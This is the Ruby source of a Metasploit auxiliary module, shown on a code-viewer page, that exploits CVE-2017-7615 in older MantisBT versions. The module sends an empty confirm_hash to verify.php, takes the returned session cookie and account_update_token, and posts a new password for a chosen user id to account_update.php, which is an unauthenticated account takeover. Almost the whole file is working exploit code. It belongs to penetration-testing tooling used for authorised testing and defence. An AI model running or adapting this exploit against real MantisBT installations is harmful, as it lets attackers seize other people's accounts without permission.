Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/mantisbt_password_reset.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'MantisBT password reset',
14
'Description' => %q{
15
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'John (hyp3rlinx) Page', # initial discovery
20
'Julien (jvoisin) Voisin' # metasploit module
21
],
22
'References' => [
23
['CVE', '2017-7615'],
24
['EDB', '41890'],
25
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
26
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
27
],
28
'Platform' => ['win', 'linux'],
29
'DisclosureDate' => '2017-04-16',
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
33
'Reliability' => []
34
}
35
)
36
)
37
38
register_options(
39
[
40
OptString.new('USERID', [ true, 'User id to reset', 1]),
41
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
42
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
43
]
44
)
45
end
46
47
def check
48
res = send_request_cgi({
49
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
50
'method' => 'GET'
51
})
52
53
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
54
vprint_status('MantisBT detected')
55
return Exploit::CheckCode::Detected
56
else
57
vprint_status('Not a MantisBT Instance!')
58
return Exploit::CheckCode::Safe
59
end
60
rescue Rex::ConnectionRefused
61
print_error('Connection refused by server.')
62
return Exploit::CheckCode::Safe
63
end
64
65
def run
66
res = send_request_cgi({
67
'uri' => normalize_uri(target_uri.path, '/verify.php'),
68
'method' => 'GET',
69
'vars_get' => {
70
'id' => datastore['USERID'],
71
'confirm_hash' => ''
72
}
73
})
74
75
if !res || !res.body
76
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
77
end
78
79
cookie = res.get_cookies
80
81
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
82
fail_with(Failure::NoAccess, 'Authentication failed')
83
end
84
85
if datastore['PASSWORD'].blank?
86
password = Rex::Text.rand_text_alpha(8)
87
else
88
password = datastore['PASSWORD']
89
end
90
91
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
92
::Regexp.last_match(1)
93
else
94
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
95
end
96
97
res = send_request_cgi({
98
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
99
'method' => 'POST',
100
'vars_post' => {
101
'verify_user_id' => datastore['USERID'],
102
'account_update_token' => ::Regexp.last_match(1),
103
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
104
'password' => password,
105
'password_confirm' => password
106
},
107
'cookie' => cookie
108
})
109
110
if res && res.body && res.body.include?('Password successfully updated')
111
print_good("Password successfully changed to '#{password}'.")
112
else
113
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
114
end
115
end
116
end
117
118